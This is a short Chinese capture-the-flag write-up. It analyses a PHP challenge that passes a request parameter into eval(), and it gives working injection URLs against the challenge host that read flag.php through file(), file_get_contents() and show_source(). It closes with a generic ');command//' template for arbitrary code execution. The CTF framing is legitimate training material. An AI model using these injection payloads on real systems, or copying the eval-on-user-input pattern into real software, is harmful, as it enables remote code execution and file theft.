題目源碼如下
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
1.分析$_REQUEST()函數
預定義的$_REQUEST變量包含了$_GET、$_POST以及$_COOKIE的內容。
$_REQUEST變量既可以使用GET也可以使用POST方式收集表單數據。所以
我們可以通過以get/post等方式賦值給$a,
2.分析eval()函數
字符串當作命令直接執行
3.分析var_dump()
輸出變量a的類型和值。
這道題就是讓你讀 flag.php 的內容, 傳入的參數為 hello 用 eval 函數把傳入的參數當成 php 代碼執行, 所以直接傳
方法一:嘗試將flag.php文件直接輸出
http://120.24.86.145:8003/?hello=1);print_r(file("./flag.php"));%23
方法二:直接對hello賦值
http://123.206.87.240:8003/?hello=file('flag.php')
http://123.206.87.240:8003/?hello=file_get_contents('flag.php')
http://123.206.87.240:8003/?hello=show_source(%27flag.php%27)
此外也可以
http://123.206.87.240:8003/index.php?hello=1);show_source(%27flag.php%27);//
“);”:負責把前面的命令閉合掉
“//”:把原來命令的殘余部分注釋掉
所以格式形式為如下
);the_command_that_you_want_to_execute//